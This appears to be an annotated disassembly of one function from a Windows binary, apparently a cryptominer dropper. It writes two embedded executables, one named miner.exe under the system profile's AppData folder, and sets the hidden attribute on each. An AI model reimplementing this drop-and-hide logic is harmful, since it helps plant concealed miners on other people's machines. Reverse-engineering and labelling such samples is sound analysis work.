Function at 0x140001630
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor edi, edi
mov qword [rbp + 0x2f], rdi
lea ecx, [rdi + 0x50]
call fcn.1400032d0
movaps xmm1, xmmword [str.C:WindowsSystem32config_systemprofileAppDataLocalminer.exe]
lea rdx, [rbp + 0x27]
movdqa xmm0, xmmword [0x1400057b0]
lea ecx, [rdi + 0x65]
movdqu xmmword [rbp + 0x37], xmm0
mov qword [rbp + 0x27], rax
movups xmmword [rax], xmm1
movaps xmm0, xmmword [0x140005640]
movups xmmword [rax + 0x10], xmm0
movaps xmm1, xmmword [0x140005650]
movups xmmword [rax + 0x20], xmm1
movaps xmm0, xmmword [0x140005660]
movdqa xmm1, xmmword [0x1400057a0]
movups xmmword [rax + 0x30], xmm0
mov byte [rax + 0x40], dil
movzx eax, byte [0x140005680]
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
mov byte [rbp + 0xf], al
movsd xmm0, qword [0x140005678]
movsd qword [rbp + 7], xmm0
movdqu xmmword [rbp + 0x17], xmm1
mov byte [rbp + 0x10], dil
call fcn.140001290
test al, al
jne 0x1400016eb
lea rdx, str.Failed_to_write_first_exe_to_file
jmp 0x140001704
lea rdx, [rbp + 7]
mov ecx, 0x66
call fcn.140001290
test al, al
jne 0x14000172a
lea rdx, str.Failed_to_write_second_exe_to_file
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002aa0
lea rdx, [0x140002c70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, 1
jmp 0x140001888
cmp qword [rbp + 0x3f], 0xf
lea rdx, [rbp + 0x27]
mov r8, qword [rbp + 0x37]
lea rcx, [rbp - 0x19]
cmova rdx, qword [rbp + 0x27]
add r8, rdx
lea rdx, [rbp + 0x27]
cmp qword [rbp + 0x3f], 0xf
cmova rdx, qword [rbp + 0x27]
call fcn.140002cb0
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x140001766
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000178d
test al, 2
jne 0x14000178d
cmp qword [rbx + 0x18], 7
jbe 0x14000177f
mov rbx, qword [rbx]
or eax, 2
mov rcx, rbx
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rdx, qword [rbp - 1]
cmp rdx, 7
jbe 0x1400017d0
mov rcx, qword [rbp - 0x19]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017cb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017cb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
cmp qword [rbp + 0x1f], 0xf
lea rdx, [rbp + 7]
mov r8, qword [rbp + 0x17]
lea rcx, [rbp - 0x19]
cmova rdx, qword [rbp + 7]
add r8, rdx
lea rdx, [rbp + 7]
cmp qword [rbp + 0x1f], 0xf
cmova rdx, qword [rbp + 7]
call fcn.140002cb0
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x14000180c
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001833
test al, 2
jne 0x140001833
cmp qword [rbx + 0x18], 7
jbe 0x140001825
mov rbx, qword [rbx]
or eax, 2
mov rcx, rbx
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rdx, qword [rbp - 1]
cmp rdx, 7
jbe 0x140001876
mov rcx, qword [rbp - 0x19]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001871
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001871
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
lea rcx, [rbp + 0x27]
call fcn.140001520
lea rcx, [rbp + 7]
call fcn.140001520
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x1400018bf
mov rcx, qword [rbp + 7]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018ba
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001902
call fcn.14000330c
mov rdx, qword [rbp + 0x3f]
movdqa xmm0, xmmword [0x140005790]
mov byte [rbp + 7], 0
movdqu xmmword [rbp + 0x17], xmm0
cmp rdx, 0xf
jbe 0x14000190e
mov rcx, qword [rbp + 0x27]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001909
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001909
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
mov eax, edi
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400032b0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret